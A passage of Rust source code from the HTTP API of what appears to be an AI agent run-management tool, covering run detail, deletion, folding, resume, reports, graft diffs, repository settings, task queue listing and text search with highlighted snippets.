3251 source_link: Option<SourceLink>,
3253 status: &'static str,
3255 attempts: usize,
3256 max_attempts: usize,
3257 is_latest: bool,
3259 latest: Option<RunBrief>,
3261 finished_by: Option<RunBrief>,
3263 closed_by_hand: bool,
3265}
3266
3267#[derive(Debug, PartialEq, Eq, Serialize)]
3269struct SourceLink {
3270 kind: &'static str,
3272 id: String,
3274 href: String,
3276}
3277
3278fn encode_segment(raw: &str) -> String {
3280 let mut out = String::with_capacity(raw.len());
3281 for b in raw.bytes() {
3282 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3283 out.push(b as char);
3284 } else {
3285 out.push_str(&format!("%{b:02X}"));
3286 }
3287 }
3288 out
3289}
3290
3291fn source_link(source: &Source) -> Option<SourceLink> {
3295 let Source::Agent { run, node } = source else {
3296 return None;
3297 };
3298 let (kind, route) = if node == crate::queue::CHAT_NODE {
3299 ("chat", "chat")
3300 } else {
3301 ("run", "runs")
3302 };
3303 Some(SourceLink {
3304 kind,
3305 id: run.clone(),
3306 href: id_links::page_href(route, run),
3307 })
3308}
3309
3310#[derive(Debug, Serialize, PartialEq)]
3312struct FollowUpParent {
3313 id: String,
3314 short: String,
3315 title: String,
3316 status: &'static str,
3318 href: String,
3319}
3320
3321#[derive(Debug, Serialize, PartialEq)]
3323struct FollowUpRun {
3324 id: String,
3325 short: String,
3326 status: Option<&'static str>,
3328 href: Option<String>,
3330}
3331
3332#[derive(Debug, Serialize, PartialEq)]
3335struct FollowUpOrigin {
3336 parent: Option<FollowUpParent>,
3338 run: FollowUpRun,
3339 pr: String,
3344 findings: Vec<String>,
3345 generation: u32,
3346}
3347
3348fn followup_origin(
3351 fu: &crate::queue::FollowUp,
3352 task: impl Fn(&str) -> Option<Task>,
3353 run: impl Fn(&str) -> Option<RunState>,
3354) -> FollowUpOrigin {
3355 let parent = fu
3356 .origin_task
3357 .as_deref()
3358 .and_then(task)
3359 .map(|t| FollowUpParent {
3360 short: t.short().to_owned(),
3361 href: format!("#/tasks/{}", encode_segment(&t.id)),
3362 status: t.status.as_str(),
3363 title: t.title,
3364 id: t.id,
3365 });
3366 let state = run(&fu.run);
3367 FollowUpOrigin {
3368 parent,
3369 run: FollowUpRun {
3370 short: run::short_of(&fu.run).to_owned(),
3371 status: state.as_ref().map(|s| s.status.as_str()),
3372 href: state
3373 .is_some()
3374 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3375 id: fu.run.clone(),
3376 },
3377 pr: fu.pr.clone(),
3378 findings: fu.findings.clone(),
3379 generation: fu.generation,
3380 }
3381}
3382
3383#[derive(Debug, Serialize)]
3385struct RunBrief {
3386 id: String,
3387 short: String,
3388 status: Option<&'static str>,
3390 outcome: String,
3392 badge: Option<String>,
3394}
3395
3396fn task_outcome(
3399 task: &Task,
3400 this_run: &str,
3401 max_attempts: usize,
3402 read: impl Fn(&str) -> Option<RunState>,
3403) -> TaskRef {
3404 let max_attempts = task.effective_attempt_limit(max_attempts);
3405 let history = task_history(task, read);
3406 let brief = |h: &TaskRunView| RunBrief {
3407 id: h.id.clone(),
3408 short: h.short.clone(),
3409 status: h.status,
3410 outcome: h.exit.edge_label(h.status),
3411 badge: h.badge.clone(),
3412 };
3413 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3414 let latest = if is_latest {
3415 None
3416 } else {
3417 history.last().map(brief)
3418 };
3419 let done = task.status == TaskStatus::Done;
3420 let finished_by = done
3421 .then(|| {
3422 history
3423 .iter()
3424 .rev()
3425 .find(|h| {
3426 matches!(
3427 h.exit,
3428 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3429 )
3430 })
3431 .map(brief)
3432 })
3433 .flatten();
3434 TaskRef {
3435 short: task.short().to_owned(),
3436 title: task.title.clone(),
3437 id: task.id.clone(),
3438 source_label: task.source.label(),
3439 source_link: source_link(&task.source),
3440 status: task.status.as_str(),
3441 attempts: task.attempts,
3442 max_attempts,
3443 is_latest,
3444 latest,
3445 closed_by_hand: done && finished_by.is_none(),
3446 finished_by,
3447 }
3448}
3449
3450#[derive(Debug, Serialize)]
3452struct LatestAttempt {
3453 id: String,
3454 short: String,
3455 resolved: bool,
3466 status: RunStatus,
3469 done: bool,
3471}
3472
3473#[derive(Debug, Default, Serialize)]
3475struct RunProseMd {
3476 advice_md: Option<AdviceMd>,
3478 candidate_summaries_md: Vec<Vec<md::Node>>,
3480 reviews_md: Vec<RoundMd>,
3482}
3483
3484#[derive(Debug, Default, Serialize)]
3485struct AdviceMd {
3486 synthesis: Vec<md::Node>,
3487 approaches: Vec<Vec<md::Node>>,
3489}
3490
3491#[derive(Debug, Default, Serialize)]
3492struct RoundMd {
3493 reviewers: Vec<ReviewerMd>,
3495 reconsideration: Vec<Vec<md::Node>>,
3497 fix: Option<FixMd>,
3498}
3499
3500#[derive(Debug, Default, Serialize)]
3501struct ReviewerMd {
3502 summary: Vec<md::Node>,
3503 findings: Vec<Vec<md::Node>>,
3505}
3506
3507#[derive(Debug, Default, Serialize)]
3508struct FixMd {
3509 notes: Vec<md::Node>,
3510 rejected: Vec<Vec<md::Node>>,
3512}
3513
3514fn run_prose_md(state: &RunState) -> RunProseMd {
3516 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3517 RunProseMd {
3518 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3519 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3520 approaches: a
3521 .records
3522 .iter()
3523 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3524 .collect(),
3525 }),
3526 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3527 reviews_md: state
3528 .reviews
3529 .iter()
3530 .map(|round| RoundMd {
3531 reviewers: round
3532 .reviews
3533 .iter()
3534 .map(|rec| ReviewerMd {
3535 summary: nodes(&rec.summary),
3536 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3537 })
3538 .collect(),
3539 reconsideration: round
3540 .reconsideration
3541 .iter()
3542 .map(|rv| nodes(&rv.reason))
3543 .collect(),
3544 fix: round.fix.as_ref().map(|fix| FixMd {
3545 notes: nodes(&fix.notes),
3546 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3547 }),
3548 })
3549 .collect(),
3550 }
3551}
3552
3553impl RunDetailView {
3554 fn of(
3555 state: RunState,
3556 waiting: bool,
3557 live: crate::run::Liveness,
3558 superseded_by: Option<String>,
3559 latest_attempt: Option<LatestAttempt>,
3560 task: Option<TaskRef>,
3561 ) -> Self {
3562 let display_status = run_display_status(&state, waiting, live);
3563 let stop_reason = crate::stop_reason::of(
3564 &state,
3565 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3566 );
3567 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3568 Self {
3569 stop_reason,
3570 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3571 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3572 prose_md: run_prose_md(&state),
3573 origin_label: crate::run::origin_label(state.origin.as_ref()),
3574 live,
3575 unmerged_by_design: state.unmerged_by_design(),
3576 waiting,
3577 display_status,
3578 badge_status,
3579 done: state.status.done(),
3580 superseded_by,
3581 latest_attempt,
3582 task,
3583 state,
3584 }
3585 }
3586}
3587
3588async fn run_detail(
3589 State(ui): State<Arc<Ui>>,
3590 Path(id): Path<String>,
3591) -> ApiResult<Json<RunDetailView>> {
3592 blocking(move || {
3593 let id = resolve_run(&ui.runs, &id)?;
3594 let state = read_run(&ui.runs, &id)?;
3595 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3596 let live = state.liveness(daemon_claims);
3597 let waiting = !ui.questions.open_for(&id).is_empty();
3598 let superseded_by = state
3599 .pr_taken_over_by
3600 .clone()
3601 .or_else(|| ui.queue.superseded_by(&id))
3602 .as_deref()
3603 .map(crate::run::short_of)
3604 .map(str::to_owned);
3605 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3609 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3610 short: head.short().to_owned(),
3611 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3612 status: head.status,
3613 done: head.status.done(),
3614 id: head.id,
3615 })
3616 });
3617 let max_attempts = daemon::Opts::default().max_attempts;
3618 let task = ui
3619 .queue
3620 .list()
3621 .into_iter()
3622 .find(|t| t.runs.contains(&id))
3623 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3624 Ok(Json(RunDetailView::of(
3625 state,
3626 waiting,
3627 live,
3628 superseded_by,
3629 latest_attempt,
3630 task,
3631 )))
3632 })
3633 .await
3634}
3635
3636async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3645 let (id, unreadable) = {
3646 let ui = Arc::clone(&ui);
3647 blocking(move || {
3648 let id = resolve_run(&ui.runs, &id)?;
3649 match read_run(&ui.runs, &id) {
3650 Ok(state) => {
3651 let in_flight =
3652 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3653 state
3654 .ensure_can_delete(in_flight)
3655 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3656 let dir = ui.runs.join(&id);
3657 std::fs::remove_dir_all(&dir)
3658 .with_context(|| format!("remove run directory {}", dir.display()))?;
3659 Ok((id, false))
3660 }
3661 Err(_) => {
3662 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3666 return Err(ApiError::conflict(format!(
3667 "run {id} is being worked on by a live daemon right now"
3668 )));
3669 }
3670 Ok((id, true))
3671 }
3672 }
3673 })
3674 .await?
3675 };
3676 if unreadable {
3677 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3678 .await
3679 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3680 }
3681 let ui = Arc::clone(&ui);
3682 let done = id.clone();
3683 blocking(move || {
3684 ui.questions.abandon_for_run(
3687 &done,
3688 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3689 )?;
3690 Ok(())
3691 })
3692 .await?;
3693 Ok(StatusCode::NO_CONTENT)
3694}
3695
3696async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3720 let (id, state) = {
3721 let ui = Arc::clone(&ui);
3722 blocking(move || {
3723 let id = resolve_run(&ui.runs, &id)?;
3724 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3725 return Err(ApiError::conflict(format!(
3726 "run {id} is being worked on by a live daemon right now"
3727 )));
3728 }
3729 let state = read_run(&ui.runs, &id).ok();
3730 Ok((id, state))
3731 })
3732 .await?
3733 };
3734 let removed = match state {
3735 Some(mut state) => {
3736 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3737 .await
3738 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3739 if removed.is_empty() {
3744 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3745 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3746 }
3747 removed
3748 }
3749 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3750 .await
3751 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3752 };
3753 Ok(Json(FoldView {
3754 run: id,
3755 removed_count: removed.len(),
3756 removed,
3757 }))
3758}
3759
3760#[derive(Debug, Serialize)]
3762struct FoldView {
3763 run: String,
3764 removed: Vec<String>,
3766 removed_count: usize,
3767}
3768
3769#[derive(Debug, Deserialize)]
3772struct FoldMergedBody {
3773 #[serde(default)]
3774 pr_url: String,
3775}
3776
3777async fn run_fold_merged(
3797 State(ui): State<Arc<Ui>>,
3798 Path(id): Path<String>,
3799 Json(body): Json<FoldMergedBody>,
3800) -> ApiResult<Json<FoldMergedView>> {
3801 let pr_url = body.pr_url.trim().to_owned();
3802 if pr_url.is_empty() {
3803 return Err(ApiError::bad_request("pr_url is required"));
3804 }
3805 let (id, mut state) = {
3806 let ui = Arc::clone(&ui);
3807 blocking(move || {
3808 let id = resolve_run(&ui.runs, &id)?;
3809 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3810 return Err(ApiError::conflict(format!(
3811 "run {id} is being worked on by a live daemon right now"
3812 )));
3813 }
3814 let state = read_run(&ui.runs, &id)?;
3815 Ok((id, state))
3816 })
3817 .await?
3818 };
3819 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3820 .await
3821 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3822 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3823 .await
3824 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3825 Ok(Json(FoldMergedView {
3826 run: id,
3827 before: before.as_str().to_owned(),
3828 after: after.as_str().to_owned(),
3829 removed,
3830 }))
3831}
3832
3833#[derive(Debug, Serialize)]
3835struct FoldMergedView {
3836 run: String,
3837 before: String,
3839 after: String,
3841 removed: Vec<String>,
3843}
3844
3845async fn run_resume(
3865 State(ui): State<Arc<Ui>>,
3866 Path(id): Path<String>,
3867) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3868 let (id, state) = {
3869 let ui = Arc::clone(&ui);
3870 blocking(move || {
3871 let id = resolve_run(&ui.runs, &id)?;
3872 let state = read_run(&ui.runs, &id)?;
3873 Ok((id, state))
3874 })
3875 .await?
3876 };
3877 crate::resume::validate_unqueued(&ui.home, &id)
3878 .map_err(|e| ApiError::conflict(e.to_string()))?;
3879 let _resume = ui.begin_resume(&id)?;
3880
3881 let queued = RunSummary::of(
3884 &state,
3885 !ui.questions.open_for(&id).is_empty(),
3886 state.liveness(false),
3887 );
3888 let run = id.clone();
3889 tokio::spawn(async move {
3890 let _resume = _resume;
3891 crate::resume::execute(&run).await;
3892 });
3893 Ok((StatusCode::ACCEPTED, Json(queued)))
3894}
3895
3896async fn run_report(
3897 State(ui): State<Arc<Ui>>,
3898 Path(id): Path<String>,
3899) -> ApiResult<impl IntoResponse> {
3900 let text = blocking(move || {
3901 let id = resolve_run(&ui.runs, &id)?;
3902 let state = read_run(&ui.runs, &id)?;
3906 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3907 let live = state.liveness(daemon_claims);
3908 Ok(format!(
3909 "{}{}",
3910 report::run(&state),
3911 report::active_seats(&state, live)
3912 ))
3913 })
3914 .await?;
3915 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3916}
3917
3918async fn run_report_json(
3922 State(ui): State<Arc<Ui>>,
3923 Path(id): Path<String>,
3924) -> ApiResult<Json<crate::report_view::RunReportView>> {
3925 let view = blocking(move || {
3926 let id = resolve_run(&ui.runs, &id)?;
3927 let state = read_run(&ui.runs, &id)?;
3928 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3929 let recovered = state.graft.as_ref().map(|_| {
3931 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3932 });
3933 Ok(crate::report_view::build_with(
3934 &state,
3935 state.liveness(daemon_claims),
3936 recovered.as_ref(),
3937 ))
3938 })
3939 .await?;
3940 Ok(Json(view))
3941}
3942
3943const GRAFT_DIFF_MAX: usize = 400 * 1024;
3945const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3947
3948async fn run_graft_diff(
3951 State(ui): State<Arc<Ui>>,
3952 Path(id): Path<String>,
3953) -> ApiResult<impl IntoResponse> {
3954 let (repo, pre, post) = blocking(move || {
3955 let id = resolve_run(&ui.runs, &id)?;
3956 let state = read_run(&ui.runs, &id)?;
3957 let g = state
3958 .graft
3959 .as_ref()
3960 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3961 let post = g
3962 .post
3963 .clone()
3964 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3965 Ok((state.repo.clone(), g.pre.clone(), post))
3966 })
3967 .await?;
3968 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3969 if !hex(&pre) || !hex(&post) {
3970 return Err(ApiError::not_found("the recorded commits are not valid"));
3971 }
3972 let out = tokio::time::timeout(
3973 GRAFT_DIFF_TIMEOUT,
3974 crate::git::git_raw(
3975 &repo,
3976 &[
3977 "diff",
3978 "--no-color",
3979 "--no-ext-diff",
3980 "-M",
3981 &pre,
3982 &post,
3983 "--",
3984 ],
3985 ),
3986 )
3987 .await
3988 .map_err(|_| ApiError::not_found("git diff timed out"))?
3989 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
3990 if out.code != Some(0) {
3991 return Err(ApiError::not_found(
3992 "the recorded commits are no longer in the repository",
3993 ));
3994 }
3995 let mut body = out.stdout;
3996 if body.len() > GRAFT_DIFF_MAX {
3997 let mut cut = GRAFT_DIFF_MAX;
3998 while !body.is_char_boundary(cut) {
3999 cut -= 1;
4000 }
4001 body.truncate(cut);
4002 body.push_str("\n... diff truncated ...");
4003 }
4004 Ok((
4005 [
4006 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4007 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4008 ],
4009 body,
4010 ))
4011}
4012
4013#[derive(Debug, Serialize)]
4019struct TaskView {
4020 #[serde(flatten)]
4021 task: Task,
4022 source_label: String,
4023 source_link: Option<SourceLink>,
4024 status_str: &'static str,
4025 instruction_md: Vec<md::Node>,
4029 waits_on: Vec<String>,
4033 stuck_roots: Vec<String>,
4036}
4037
4038impl From<Task> for TaskView {
4039 fn from(task: Task) -> Self {
4040 Self {
4041 source_label: task.source.label(),
4042 source_link: source_link(&task.source),
4043 status_str: task.status.as_str(),
4044 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4045 waits_on: Vec::new(),
4046 stuck_roots: Vec::new(),
4047 task,
4048 }
4049 }
4050}
4051
4052impl TaskView {
4053 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4054 let waits_on = inv.waits_on(&task);
4055 let stuck_roots = inv
4056 .stuck_roots(&task)
4057 .iter()
4058 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4059 .collect();
4060 Self {
4061 waits_on,
4062 stuck_roots,
4063 ..Self::from(task)
4064 }
4065 }
4066}
4067
4068#[derive(Debug, Default, Deserialize)]
4071#[serde(default)]
4072struct ReposQuery {
4073 refresh: u8,
4074}
4075
4076async fn repos_list(
4083 State(ui): State<Arc<Ui>>,
4084 Query(q): Query<ReposQuery>,
4085) -> ApiResult<Json<Vec<repos::Repo>>> {
4086 let refresh = q.refresh != 0;
4087 blocking(move || {
4088 let (cfg, _) = Config::discover(&ui.repo, None)?;
4089 Ok(Json(ui.repos_cache.list(
4090 &cfg.repos.roots,
4091 Duration::from_secs(cfg.repos.scan_ttl),
4092 refresh,
4093 )))
4094 })
4095 .await
4096}
4097
4098#[derive(Debug, Default, Deserialize)]
4100struct SettingsQuery {
4101 repo: Option<PathBuf>,
4102}
4103
4104fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4108 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4109 let paths: Vec<PathBuf> = ui
4110 .machine_config
4111 .iter()
4112 .filter(|p| p.is_file())
4113 .cloned()
4114 .collect();
4115 if paths.is_empty() {
4116 Ok(Config::autodetected())
4117 } else {
4118 Config::load_layers(&paths)
4119 }
4120 });
4121 let mut known = cfg
4122 .map(|cfg| {
4123 ui.repos_cache.list(
4124 &cfg.repos.roots,
4125 Duration::from_secs(cfg.repos.scan_ttl),
4126 refresh,
4127 )
4128 })
4129 .unwrap_or_default();
4130 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4131 if !known.iter().any(|r| r.path == path) {
4132 known.push(repos::Repo {
4133 name: path
4134 .file_name()
4135 .unwrap_or_default()
4136 .to_string_lossy()
4137 .into_owned(),
4138 path,
4139 });
4140 }
4141 known
4142}
4143
4144fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4145 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4146 let canonical = requested.canonicalize().ok();
4147 let mut known = settings_repositories(ui, false);
4148 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4149 if !known.iter().any(matches) {
4150 known = settings_repositories(ui, true);
4151 }
4152 let repo = known
4153 .iter()
4154 .find(|r| matches(r))
4155 .map(|r| r.path.clone())
4156 .ok_or_else(|| ApiError {
4157 text_reason: None,
4158 status: StatusCode::UNPROCESSABLE_ENTITY,
4159 message: "Choose a known repository from the Settings selector.".to_owned(),
4160 })?;
4161 Ok((repo, known))
4162}
4163
4164async fn settings_get(
4168 State(ui): State<Arc<Ui>>,
4169 Query(q): Query<SettingsQuery>,
4170) -> ApiResult<Json<settings::SettingsView>> {
4171 blocking(move || {
4172 let (repo, known) = settings_context(&ui, q)?;
4173 Ok(Json(settings::view_with_repos(
4174 &repo,
4175 ui.machine_config.as_deref(),
4176 &known,
4177 )))
4178 })
4179 .await
4180}
4181
4182#[derive(Debug, Deserialize)]
4184#[serde(deny_unknown_fields)]
4185struct RolesBody {
4186 revision: String,
4188 #[serde(default)]
4190 roles: std::collections::BTreeMap<String, Vec<String>>,
4191 #[serde(default)]
4195 counts: std::collections::BTreeMap<String, serde_json::Value>,
4196}
4197
4198async fn settings_put_roles(
4204 State(ui): State<Arc<Ui>>,
4205 Query(q): Query<SettingsQuery>,
4206 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4207) -> ApiResult<Json<settings::SettingsView>> {
4208 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4209 blocking(move || {
4210 let (repo, known) = settings_context(&ui, q)?;
4211 settings::save_with_repos(
4212 &repo,
4213 ui.machine_config.as_deref(),
4214 &body.revision,
4215 &body.roles,
4216 &body.counts,
4217 &known,
4218 )
4219 .map(Json)
4220 .map_err(|e| match e {
4221 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4222 settings::SaveError::Refused(m) => ApiError {
4223 text_reason: None,
4224 status: StatusCode::UNPROCESSABLE_ENTITY,
4225 message: m,
4226 },
4227 settings::SaveError::Internal(m) => ApiError::internal(m),
4228 })
4229 })
4230 .await
4231}
4232
4233async fn queue_list(
4234 State(ui): State<Arc<Ui>>,
4235 Query(q): Query<ListQuery>,
4236) -> ApiResult<Json<Vec<TaskView>>> {
4237 blocking(move || {
4238 let tasks = ui.queue.list();
4239 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
4240 Ok(Json(
4241 tasks
4242 .into_iter()
4243 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4244 .map(|t| TaskView::with_inventory(t, &inv))
4245 .collect(),
4246 ))
4247 })
4248 .await
4249}
4250
4251const SEARCH_MAX_HITS: usize = 100;
4253const SEARCH_MAX_QUERY: usize = 200;
4255const SEARCH_MAX_TERMS: usize = 8;
4256const SNIPPET_BEFORE: usize = 50;
4258const SNIPPET_AFTER: usize = 110;
4259
4260#[derive(Debug, Deserialize)]
4262struct SearchQuery {
4263 #[serde(default)]
4264 scope: String,
4265 #[serde(default)]
4266 q: String,
4267}
4268
4269#[derive(Debug, Serialize, PartialEq, Eq)]
4272struct SnippetPart {
4273 text: String,
4274 hit: bool,
4275}
4276
4277#[derive(Debug, Serialize)]
4278struct SearchHit {
4279 id: String,
4280 field: String,
4282 snippet: Vec<SnippetPart>,
4283 #[serde(skip_serializing_if = "Option::is_none")]
4287 run: Option<RunSummary>,
4288}
4289
4290#[derive(Debug, Serialize)]
4291struct SearchView {
4292 scope: String,
4293 q: String,
4294 hits: Vec<SearchHit>,
4296 total: usize,
4298 truncated: bool,
4299 unreadable: usize,
4302}
4303
4304fn text_leaves<'a>(
4307 value: &'a serde_json::Value,
4308 field: &'a str,
4309 out: &mut Vec<(&'a str, &'a str)>,
4310) {
4311 match value {
4312 serde_json::Value::String(s) => out.push((field, s)),
4313 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4314 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4315 _ => {}
4316 }
4317}
4318
4319fn fold_char(c: char) -> char {
4322 c.to_lowercase().next().unwrap_or(c)
4323}
4324
4325fn search_terms(q: &str) -> Vec<String> {
4327 let mut terms: Vec<String> = Vec::new();
4328 for t in q.split_whitespace() {
4329 let t = t.to_lowercase();
4330 if !terms.contains(&t) {
4331 terms.push(t);
4332 }
4333 }
4334 terms
4335}
4336
4337fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4340 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4341 let mut first: Option<usize> = None;
4342 for term in terms {
4343 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4344 first = Some(first.map_or(at, |f| f.min(at)));
4345 }
4346 let (field, text) = leaves[first?];
4348 Some(SearchHit {
4349 id: String::new(),
4350 field: field.to_owned(),
4351 snippet: snippet_of(text, terms),
4352 run: None,
4353 })
4354}
4355
4356fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4359 let chars: Vec<char> = text.chars().collect();
4360 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4361 let needles: Vec<Vec<char>> = terms
4362 .iter()
4363 .map(|t| t.chars().map(fold_char).collect())
4364 .collect();
4365 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4366 let mut best: Option<(usize, usize)> = None;
4367 for n in needles.iter().filter(|n| !n.is_empty()) {
4368 if n.len() > chars.len() || to == 0 {
4372 continue;
4373 }
4374 let last = (to - 1).min(chars.len() - n.len());
4375 if from > last {
4376 continue;
4377 }
4378 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4379 && best.is_none_or(|(b, _)| i < b)
4380 {
4381 best = Some((i, i + n.len()));
4382 }
4383 }
4384 best
4385 };
4386 let Some((start, _)) = find(0, chars.len()) else {
4387 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4389 return vec![SnippetPart {
4390 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4391 hit: false,
4392 }];
4393 };
4394 let lo = start.saturating_sub(SNIPPET_BEFORE);
4395 let hi = (start + SNIPPET_AFTER).min(chars.len());
4396 let mut parts: Vec<SnippetPart> = Vec::new();
4397 let mut push = |s: &[char], hit: bool| {
4398 if s.is_empty() {
4399 return;
4400 }
4401 let text: String = s.iter().collect();
4402 match parts.last_mut() {
4403 Some(p) if p.hit == hit => p.text.push_str(&text),
4404 _ => parts.push(SnippetPart { text, hit }),
4405 }
4406 };
4407 if lo > 0 {
4408 push(&['\u{2026}'], false);
4409 }
4410 let mut at = lo;
4411 while at < hi {
4412 match find(at, hi) {
4413 Some((s, e)) => {
4414 push(&chars[at..s], false);
4415 let shown = e.min(hi);
4417 push(&chars[s..shown], true);
4418 at = shown;
4419 }
4420 None => {
4421 push(&chars[at..hi], false);
4422 at = hi;
4423 }
4424 }
4425 }
4426 if hi < chars.len() {
4427 push(&['\u{2026}'], false);
4428 }
4429 let mut prev_space = false;
4432 for p in &mut parts {
4433 let mut out = String::with_capacity(p.text.len());
4434 for c in p.text.chars() {
4435 if c.is_whitespace() {
4436 if !prev_space {
4437 out.push(' ');
4438 }
4439 prev_space = true;
4440 } else {
4441 out.push(c);
4442 prev_space = false;
4443 }
4444 }
4445 p.text = out;
4446 }
4447 parts.retain(|p| !p.text.is_empty());
4448 parts
4449}
4450
4451fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4453where
4454 I: IntoIterator<Item = (String, serde_json::Value)>,
4455{
4456 for (id, doc) in docs {
4457 let mut leaves = Vec::new();
4458 leaves.push(("id", id.as_str()));
4461 text_leaves(&doc, "", &mut leaves);
4462 if let Some(mut hit) = search_document(terms, &leaves) {
4463 view.total += 1;
4464 if view.hits.len() < SEARCH_MAX_HITS {
4465 hit.id = id;
4466 view.hits.push(hit);
4467 }
4468 }
4469 }
4470 view.truncated = view.total > view.hits.len();
4471}
4472
4473fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4480 let opener = talk
4481 .turns
4482 .iter()
4483 .find(|t| t.who == crate::talk::Who::Operator)
4484 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4485 .unwrap_or("");
4486 let title: String = if opener.chars().count() > 96 {
4487 opener.chars().take(95).chain(['\u{2026}']).collect()
4488 } else {
4489 opener.to_owned()
4490 };
4491 let turns: Vec<serde_json::Value> = talk
4492 .turns
4493 .iter()
4494 .map(|t| {
4495 let who = match t.who {
4496 crate::talk::Who::Operator => "operator",
4497 crate::talk::Who::Agent => "agent",
4498 };
4499 serde_json::json!({ who: t.body })
4500 })
4501 .collect();
4502 serde_json::json!({ "title": title, "turns": turns })
4503}
4504
4505async fn search_get(
4512 State(ui): State<Arc<Ui>>,
4513 Query(q): Query<SearchQuery>,
4514) -> ApiResult<Json<SearchView>> {
4515 let query = q.q.trim().to_owned();
4516 if query.is_empty() {
4517 return Err(ApiError::bad_request("q must not be empty"));
4518 }
4519 if query.chars().count() > SEARCH_MAX_QUERY {
4520 return Err(ApiError::bad_request(format!(
4521 "q is longer than {SEARCH_MAX_QUERY} characters"
4522 )));
4523 }
4524 let terms = search_terms(&query);
4525 if terms.len() > SEARCH_MAX_TERMS {
4526 return Err(ApiError::bad_request(format!(
4527 "q has more than {SEARCH_MAX_TERMS} terms"
4528 )));
4529 }
4530 let scope = q.scope;
4531 if scope != "runs" && scope != "tasks" && scope != "chats" {
